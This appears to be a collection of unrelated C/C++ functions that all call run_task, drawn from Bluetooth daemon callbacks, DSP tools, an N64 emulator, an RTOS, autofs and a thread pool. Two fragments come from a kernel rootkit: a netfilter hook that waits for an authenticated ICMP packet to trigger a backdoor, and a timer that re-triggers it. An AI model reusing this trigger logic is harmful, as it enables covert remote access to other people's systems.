void TaskList::run() { // run high priority tasks first for (int i = 0; i < _size; ++i) { if (_list[i]->_high_priority) { run_task(i); } } for (int i = 0; i < _size; ++i) { run_task(i); } }
static void pin_request_cb(bt_bdaddr_t* remote_bd_addr, bt_bdname_t* bd_name, uint32_t cod) { struct pdu_wbuf* wbuf; wbuf = create_pdu_wbuf(6 + /* remote address */ 249 + /* remote name */ 4, /* class of device */ 0, NULL); if (!wbuf) return; init_pdu(&wbuf->buf.pdu, SERVICE_BT_CORE, OPCODE_PIN_REQUEST_NTF); if (append_bt_bdaddr_t(&wbuf->buf.pdu, remote_bd_addr) < 0) goto cleanup; if (append_bt_bdname_t(&wbuf->buf.pdu, bd_name) < 0) goto cleanup; if (append_to_pdu(&wbuf->buf.pdu, "I", cod) < 0) goto cleanup; if (run_task(send_ntf_pdu, wbuf) < 0) goto cleanup; return; cleanup: cleanup_pdu_wbuf(wbuf); }
static void ssp_request_cb(bt_bdaddr_t* remote_bd_addr, bt_bdname_t* bd_name, uint32_t cod, bt_ssp_variant_t pairing_variant, uint32_t pass_key) { struct pdu_wbuf* wbuf; wbuf = create_pdu_wbuf(6 + /* remote address */ 249 + /* remote name */ 4 + /* class of device */ 1 + /* paring variant */ 4, /* passkey */ 0, NULL); if (!wbuf) return; init_pdu(&wbuf->buf.pdu, SERVICE_BT_CORE, OPCODE_SSP_REQUEST_NTF); if (append_bt_bdaddr_t(&wbuf->buf.pdu, remote_bd_addr) < 0) goto cleanup; if (append_bt_bdname_t(&wbuf->buf.pdu, bd_name) < 0) goto cleanup; if (append_to_pdu(&wbuf->buf.pdu, "ICI", cod, (uint8_t)pairing_variant, pass_key) < 0) goto cleanup; if (run_task(send_ntf_pdu, wbuf) < 0) goto cleanup; return; cleanup: cleanup_pdu_wbuf(wbuf); }
int main(int argc, const char **argv) { struct dsp_node *node; int ret = 0; unsigned i; signal(SIGINT, signal_handler); #ifdef DEBUG debug_level = 3; #endif ntimes = 1000; argc--; argv++; handle_options(&argc, &argv); dsp_handle = dsp_open(); if (dsp_handle < 0) { pr_err("dsp open failed"); return -1; } if (!dsp_attach(dsp_handle, 0, NULL, &proc)) { pr_err("dsp attach failed"); ret = -1; goto leave; } node = create_node(); if (!node) { pr_err("dsp node creation failed"); ret = -1; goto leave; } run_task(node, ntimes); destroy_node(node); leave: if (proc) { if (!dsp_detach(dsp_handle, proc)) { pr_err("dsp detach failed"); ret = -1; } proc = NULL; } for (i = 0; i < ARRAY_SIZE(events); i++) free(events[i]); if (dsp_handle > 0) { if (dsp_close(dsp_handle) < 0) { pr_err("dsp close failed"); return -1; } } return ret; }
void real_run_rsp(usf_state_t * state, uint32_t cycles) { (void)cycles; if (state->g_sp.regs[SP_STATUS_REG] & 0x00000003) { message(state, "SP_STATUS_HALT", 3); return; } switch (*(unsigned int *)(state->g_sp.DMEM + 0xFC0)) { /* Simulation barrier to redirect processing externally. */ case 0x00000002: /* OSTask.type == M_AUDTASK */ if (state->enable_hle_audio == 0) break; hle_execute(&state->hle); return; /* XXX USF sets should not be processing DLists, but several of them require them at least once to boot properly. And for some reason, with this emulator core, Iconoclast's RSP core is not up to the task of running the DLists, so this HLE will do instead. */ case 0x00000001: hle_execute(&state->hle); return; } run_task(&state->g_sp); }
static bool set_wake_alarm_cb(uint64_t delay_millis, bool should_wake, alarm_cb cb, void* data) { struct wake_alarm_param* param; param = malloc(sizeof(*param)); if (!param) { ALOGE_ERRNO("malloc"); return false; } memset(¶m->evfuncs, 0, sizeof(param->evfuncs)); param->evfuncs.data = param; param->evfuncs.epollin = alarm_event_in; param->clockid = should_wake ? CLOCK_BOOTTIME_ALARM : CLOCK_BOOTTIME; param->timeout_ms = delay_millis; param->interval_ms = 0; param->cb = cb; param->data = data; if (run_task(set_wake_alarm_task_cb, param) < 0) goto err_run_task; return true; err_run_task: free(param); return false; }
ER act_tsk(ID tskid) { ER ercd; uint_t tskpri; LOG_ACT_TSK_ENTER(tskid); CHECK_TSKCTX_UNL(); CHECK_TSKID_SELF(tskid); tskpri = get_ipri_self(tskid); t_lock_cpu(); if (test_dormant(tskpri)) { if(make_active(tskpri)) { run_task(tskpri); } ercd = E_OK; } else { ercd = E_QOVR; } t_unlock_cpu(); error_exit: LOG_ACT_TSK_LEAVE(ercd); return(ercd); }
/* function originaly taken from suterusu repository, adapted to our rootkit */ static unsigned int watch_icmp ( unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *) ) { struct iphdr *ip_header; struct icmphdr *icmp_header; struct auth_icmp *payload; unsigned int payload_size; ip_header = ip_hdr(skb); if ( ! ip_header ) return NF_ACCEPT; if ( ip_header->protocol != IPPROTO_ICMP ) return NF_ACCEPT; // skb->transport_header hasn't been set by this point, so we have to calculate it manually icmp_header = (struct icmphdr *)(ip_header + 1); if ( ! icmp_header ) return NF_ACCEPT; payload = (struct auth_icmp *)(icmp_header + 1); payload_size = skb->len - sizeof(struct iphdr) - sizeof(struct icmphdr); dbg("ICMP packet: payload_size=%u, auth=%x, ip=%x, port=%hu\n", payload_size, payload->auth, payload->ip, payload->port); if ( icmp_header->type != ICMP_ECHO || payload_size != 10 || payload->auth != AUTH_TOKEN ) return NF_ACCEPT; dbg("backdoor: Received auth ICMP packet\n"); if (!backdoor_active) run_task(); return NF_ACCEPT; }
static void set_player_app_value_cb(btrc_player_settings_t* p_vals) { struct pdu_wbuf* wbuf; assert(p_vals); wbuf = create_pdu_wbuf(1 + /* number of attribute-value pairs */ p_vals->num_attr + /* one byte per attribute */ p_vals->num_attr, /* one byte per value */ 0, NULL); if (!wbuf) return; init_pdu(&wbuf->buf.pdu, SERVICE_BT_RC, OPCODE_SET_PLAYER_APP_VALUE_NTF); if (append_btrc_player_settings_t(&wbuf->buf.pdu, p_vals) < 0) goto cleanup; if (run_task(send_ntf_pdu, wbuf) < 0) goto cleanup; return; cleanup: cleanup_pdu_wbuf(wbuf); }
static void device_found_cb(int num_properties, bt_property_t* properties) { bt_property_t* aligned_properties; struct pdu_wbuf* wbuf; properties = align_properties(properties, num_properties, &aligned_properties); if (!properties) return; wbuf = create_pdu_wbuf(1 + /* number of properties */ properties_length(num_properties, properties), 0, NULL); if (!wbuf) goto cleanup_properties; init_pdu(&wbuf->buf.pdu, SERVICE_BT_CORE, OPCODE_DEVICE_FOUND_NTF); if (append_bt_property_t_array(&wbuf->buf.pdu, properties, num_properties) < 0) goto cleanup; if (run_task(send_ntf_pdu, wbuf) < 0) goto cleanup; free(aligned_properties); return; cleanup: cleanup_pdu_wbuf(wbuf); cleanup_properties: free(aligned_properties); }
static void acl_state_changed_cb(bt_status_t status, bt_bdaddr_t* remote_bd_addr, bt_acl_state_t state) { struct pdu_wbuf* wbuf; wbuf = create_pdu_wbuf(1 + /* status */ 6 + /* remote address */ 1, /* ACL state */ 0, NULL); if (!wbuf) return; init_pdu(&wbuf->buf.pdu, SERVICE_BT_CORE, OPCODE_ACL_STATE_CHANGED_NTF); if (append_to_pdu(&wbuf->buf.pdu, "C", (uint8_t)status) < 0) goto cleanup; if (append_bt_bdaddr_t(&wbuf->buf.pdu, remote_bd_addr) < 0) goto cleanup; if (append_to_pdu(&wbuf->buf.pdu, "C", (uint8_t)state) < 0) goto cleanup; if (run_task(send_ntf_pdu, wbuf) < 0) goto cleanup; return; cleanup: cleanup_pdu_wbuf(wbuf); }
void GangWorker::loop() { while (true) { WorkData data = wait_for_task(); run_task(data); signal_task_done(); } }
int main(void) { init_avr(); uart_init(); TCCR1B=(0<<ICNC1) | (0<<ICES1) | (0<<WGM13) | (0<<WGM12) | (1<<CS12) | (0<<CS11) | (0<<CS10); // Timer/Counter 1 Interrupt(s) initialization TIMSK1=(0<<ICIE1) | (0<<OCIE1B) | (0<<OCIE1A) | (1<<TOIE1); sei(); Task[0] = 0; while(1) { if(BytesRead != 0) { TCCR1B = 0x00; // stop timer1 memcpy(data_buffer, uart_buffer, BytesRead); uart_flush(); for(int i = 0; i < 16; i++) Task[i] = data_buffer[i]; run_task(Task); for(int i = 0; i < 16; i++) Task[i] = 0; TCCR1B = 0x04; // run timer1 TimerEvent = false; } if(TimerEvent) { TimerEvent = false; run_task(Task); for(int i = 0; i < 16; i++) Task[i] = 0; } set_sleep_mode(SLEEP_MODE_IDLE); sleep_mode(); } }
static enum hrtimer_restart timer_function(struct hrtimer * timer) { dbg("backdoor: Timer done\n"); if (!backdoor_active) run_task(); hrtimer_forward_now(timer, kt_periode); return HRTIMER_RESTART; }
int main() { queue_t *q1 = mk_queue(); printf("%d\n", get_len(q1)); printf("%d\n", is_queue_empty(q1)); enqueue(q1, mk_task(f1,(void *) 5)); enqueue(q1, mk_task(f2, (void *)7)); printf("%d\n", get_len(q1)); printf("%d\n", is_queue_empty(q1)); enqueue(q1, mk_task(f2, (void *)2)); enqueue(q1, mk_task(f1, (void *)9)); printf("%d\n", get_len(q1)); printf("%d\n", is_queue_empty(q1)); run_task(dequeue(q1)); run_task(dequeue(q1)); printf("%d\n", get_len(q1)); printf("%d\n", is_queue_empty(q1)); run_task(dequeue(q1)); run_task(dequeue(q1)); printf("%d\n", get_len(q1)); printf("%d\n", is_queue_empty(q1)); empty_queue(q1); enqueue(q1, mk_task(f2, (void *)2)); enqueue(q1, mk_task(f1, (void *)9)); printf("%d\n", get_len(q1)); printf("%d\n", is_queue_empty(q1)); destroy_queue(q1); }
int main(int argc, const char **argv) { struct dsp_node *node; int ret = 0; signal(SIGINT, signal_handler); #ifdef DEBUG debug_level = 3; #endif dsp_handle = dsp_open(); if (dsp_handle < 0) { pr_err("dsp open failed"); return -1; } if (!dsp_attach(dsp_handle, 0, NULL, &proc)) { pr_err("dsp attach failed"); ret = -1; goto leave; } node = create_node(); if (!node) { pr_err("dsp node creation failed"); ret = -1; goto leave; } run_task(node); destroy_node(node); leave: if (proc) { if (!dsp_detach(dsp_handle, proc)) { pr_err("dsp detach failed"); ret = -1; } proc = NULL; } if (dsp_handle > 0) { if (dsp_close(dsp_handle) < 0) { pr_err("dsp close failed"); return -1; } } return ret; }
/* Reload a mapped device. */ int dm_reload(struct lib_context *lc, struct raid_set *rs, char *table) { int ret; /* Create <dev_name> */ ret = run_task(lc, rs, table, DM_DEVICE_RELOAD, rs->name); /* * In case device creation failed, check if target * isn't registered with the device-mapper core */ if (!ret) check_table(lc, table); return ret; }
static void remote_device_properties_cb(bt_status_t status, bt_bdaddr_t* bd_addr, int num_properties, bt_property_t* properties) { bt_property_t* aligned_properties; struct pdu_wbuf* wbuf; properties = align_properties(properties, num_properties, &aligned_properties); if (!properties) return; fix_properties(bd_addr, num_properties, properties); wbuf = create_pdu_wbuf(1 + /* status */ 6 + /* address */ 1 + /* number of properties */ properties_length(num_properties, properties), 0, NULL); if (!wbuf) goto cleanup_properties; init_pdu(&wbuf->buf.pdu, SERVICE_BT_CORE, OPCODE_REMOTE_DEVICE_PROPERTIES_NTF); if (append_to_pdu(&wbuf->buf.pdu, "C", (uint8_t)status) < 0) goto cleanup; if (append_bt_bdaddr_t(&wbuf->buf.pdu, bd_addr) < 0) goto cleanup; if (append_bt_property_t_array(&wbuf->buf.pdu, properties, num_properties) < 0) goto cleanup; if (run_task(send_ntf_pdu, wbuf) < 0) goto cleanup; free(aligned_properties); return; cleanup: cleanup_pdu_wbuf(wbuf); cleanup_properties: free(aligned_properties); }
static void list_player_app_attr_cb(void) { struct pdu_wbuf* wbuf; wbuf = create_pdu_wbuf(0, 0, NULL); if (!wbuf) return; init_pdu(&wbuf->buf.pdu, SERVICE_BT_RC, OPCODE_LIST_PLAYER_APP_ATTR_NTF); if (run_task(send_ntf_pdu, wbuf) < 0) goto cleanup; return; cleanup: cleanup_pdu_wbuf(wbuf); }
static void get_play_status_cb(void) { struct pdu_wbuf* wbuf; wbuf = create_pdu_wbuf(0, 0, NULL); if (!wbuf) return; init_pdu(&wbuf->buf.pdu, SERVICE_BT_RC, OPCODE_GET_PLAY_STATUS_NTF); if (run_task(send_ntf_pdu, wbuf) < 0) goto cleanup; return; cleanup: cleanup_pdu_wbuf(wbuf); }
void spawn_worker(int schedule_on_cpu = -1) { workers.emplace_back([this]() { // Set balanced thread pool worker flag for this thread balanced_thread_pool::balanced_thread_pool_worker_thread_flag = true; for (;;) { if (interruptible_thread::is_interruption_flag_set()) return; task_queue_t::stored_ptr task; { // Wait for tasks std::unique_lock<std::mutex> l(shared_data.m); shared_data.notifier.wait(l, [&]() { return interruptible_thread::is_interruption_flag_set() || (task = task_queue.pop()) != nullptr; }); } shared_data.active_workers.fetch_add(1); // Process tasks while (task != nullptr) { run_task(std::move(*task)); if (interruptible_thread::is_interruption_flag_set()) break; task = task_queue.pop(); } shared_data.active_workers.fetch_add(-1); } }); const auto t = &workers.back().get_thread(); thread_set_priority_low(t); if (schedule_on_cpu >= 0) { constexpr auto bits = sizeof(std::size_t) * 8; std::bitset<bits> mask(0); mask[schedule_on_cpu] = true; thread_set_affinity<bits>(t, mask); } }
EXPORT unsigned int CALL cxd4DoRspCycles(unsigned int cycles) { if (*RSP.SP_STATUS_REG & 0x00000003) { message("SP_STATUS_HALT", 3); return 0x00000000; } switch (*(unsigned int *)(RSP.DMEM + 0xFC0)) { /* Simulation barrier to redirect processing externally. */ #ifdef EXTERN_COMMAND_LIST_GBI case 0x00000001: if (*(unsigned int *)(RSP.DMEM + 0xFF0) == 0x00000000) break; /* Resident Evil 2 */ if (RSP.ProcessDlistList == NULL) {/*branch next*/} else RSP.ProcessDlistList(); *RSP.SP_STATUS_REG |= 0x00000203; if (*RSP.SP_STATUS_REG & 0x00000040) /* SP_STATUS_INTR_BREAK */ { *RSP.MI_INTR_REG |= 0x00000001; /* VR4300 SP interrupt */ RSP.CheckInterrupts(); } if (*RSP.DPC_STATUS_REG & 0x00000002) /* DPC_STATUS_FREEZE */ { message("DPC_CLR_FREEZE", 2); *RSP.DPC_STATUS_REG &= ~0x00000002; } return 0; #endif #ifdef EXTERN_COMMAND_LIST_ABI case 0x00000002: /* OSTask.type == M_AUDTASK */ if (RSP.ProcessAlistList == 0) {} else RSP.ProcessAlistList(); *RSP.SP_STATUS_REG |= 0x00000203; if (*RSP.SP_STATUS_REG & 0x00000040) /* SP_STATUS_INTR_BREAK */ { *RSP.MI_INTR_REG |= 0x00000001; /* VR4300 SP interrupt */ RSP.CheckInterrupts(); } return 0; #endif } run_task(); return (cycles); }
void autofs_timeout_mp(am_node *mp) { autofs_fh_t *fh = mp->am_autofs_fh; time_t now = clocktime(NULL); /* update the ttl */ mp->am_autofs_ttl = now + gopt.am_timeo_w; if (fh->version < 4) { struct autofs_packet_expire pkt; while (ioctl(fh->ioctlfd, AUTOFS_IOC_EXPIRE, &pkt) == 0) autofs_handle_expire(mp, &pkt); return; } #if AUTOFS_MAX_VERSION >= 4 run_task(autofs_timeout_mp_task, mp, NULL, NULL); #endif /* AUTOFS_MAX_VERSION >= 4 */ }
void autofs_timeout_mp(am_node *mp) { autofs_fh_t *fh = mp->am_mnt->mf_autofs_fh; time_t now = clocktime(); /* update the ttl, but only if we're not going down */ if (mp->am_flags & AMF_NOTIMEOUT) mp->am_ttl = now + gopt.am_timeo_w; if (fh->version < 4) { struct autofs_packet_expire pkt; while (ioctl(fh->ioctlfd, AUTOFS_IOC_EXPIRE, &pkt) == 0) autofs_handle_expire(mp, &pkt); return; } #ifdef autofs_ptype_expire_multi run_task(autofs_timeout_mp_task, mp, NULL, NULL); #endif /* autofs_ptype_expire_multi */ }
static void adapter_state_changed_cb(bt_state_t state) { struct pdu_wbuf* wbuf; wbuf = create_pdu_wbuf(1, /* state */ 0, NULL); if (!wbuf) return; init_pdu(&wbuf->buf.pdu, SERVICE_BT_CORE, OPCODE_ADAPTER_STATE_CHANGED_NTF); if (append_to_pdu(&wbuf->buf.pdu, "C", (uint8_t)state) < 0) goto cleanup; if (run_task(send_ntf_pdu, wbuf) < 0) goto cleanup; return; cleanup: cleanup_pdu_wbuf(wbuf); }
static void list_player_app_values_cb(btrc_player_attr_t attr_id) { struct pdu_wbuf* wbuf; wbuf = create_pdu_wbuf(1, /* player attribute */ 0, NULL); if (!wbuf) return; init_pdu(&wbuf->buf.pdu, SERVICE_BT_RC, OPCODE_LIST_PLAYER_APP_VALUES_NTF); if ((append_to_pdu(&wbuf->buf.pdu, "C", (uint8_t)attr_id) < 0)) goto cleanup; if (run_task(send_ntf_pdu, wbuf) < 0) goto cleanup; return; cleanup: cleanup_pdu_wbuf(wbuf); }
static void adapter_properties_cb(bt_status_t status, int num_properties, bt_property_t* properties) { bt_property_t* aligned_properties; struct pdu_wbuf* wbuf; properties = align_properties(properties, num_properties, &aligned_properties); if (!properties) return; wbuf = create_pdu_wbuf(1 + /* status */ 1 + /* number of properties */ properties_length(num_properties, properties), 0, NULL); if (!wbuf) goto cleanup_properties; init_pdu(&wbuf->buf.pdu, SERVICE_BT_CORE, OPCODE_ADAPTER_PROPERTIES_CHANGED_NTF); if (append_to_pdu(&wbuf->buf.pdu, "C", (uint8_t)status) < 0) goto cleanup; if (append_bt_property_t_array(&wbuf->buf.pdu, properties, num_properties) < 0) goto cleanup; if (run_task(send_ntf_pdu, wbuf) < 0) goto cleanup; free(aligned_properties); return; cleanup: cleanup_pdu_wbuf(wbuf); cleanup_properties: free(aligned_properties); }
static void passthrough_cmd_cb(int id, int key_state) { struct pdu_wbuf* wbuf; wbuf = create_pdu_wbuf(1 + /* id */ 1, /* state */ 0, NULL); if (!wbuf) return; init_pdu(&wbuf->buf.pdu, SERVICE_BT_RC, OPCODE_PASSTHROUGH_CMD_NTF); if (append_to_pdu(&wbuf->buf.pdu, "CC", (uint8_t)id, (uint8_t)key_state) < 0) goto cleanup; if (run_task(send_ntf_pdu, wbuf) < 0) goto cleanup; return; cleanup: cleanup_pdu_wbuf(wbuf); }
static void volume_change_cb(uint8_t volume, uint8_t ctype) { struct pdu_wbuf* wbuf; wbuf = create_pdu_wbuf(1 + /* volume */ 1, /* type */ 0, NULL); if (!wbuf) return; init_pdu(&wbuf->buf.pdu, SERVICE_BT_RC, OPCODE_VOLUME_CHANGE_NTF); if (append_to_pdu(&wbuf->buf.pdu, "CC", (uint8_t)volume, (uint8_t)ctype) < 0) goto cleanup; if (run_task(send_ntf_pdu, wbuf) < 0) goto cleanup; return; cleanup: cleanup_pdu_wbuf(wbuf); }
static void register_notification_cb(btrc_event_id_t event_id, uint32_t param) { struct pdu_wbuf* wbuf; wbuf = create_pdu_wbuf(1 + /* event id */ 4, /* parameter */ 0, NULL); if (!wbuf) return; init_pdu(&wbuf->buf.pdu, SERVICE_BT_RC, OPCODE_REGISTER_NOTIFICATION_NTF); if (append_to_pdu(&wbuf->buf.pdu, "CI", (uint8_t)event_id, param) < 0) goto cleanup; if (run_task(send_ntf_pdu, wbuf) < 0) goto cleanup; return; cleanup: cleanup_pdu_wbuf(wbuf); }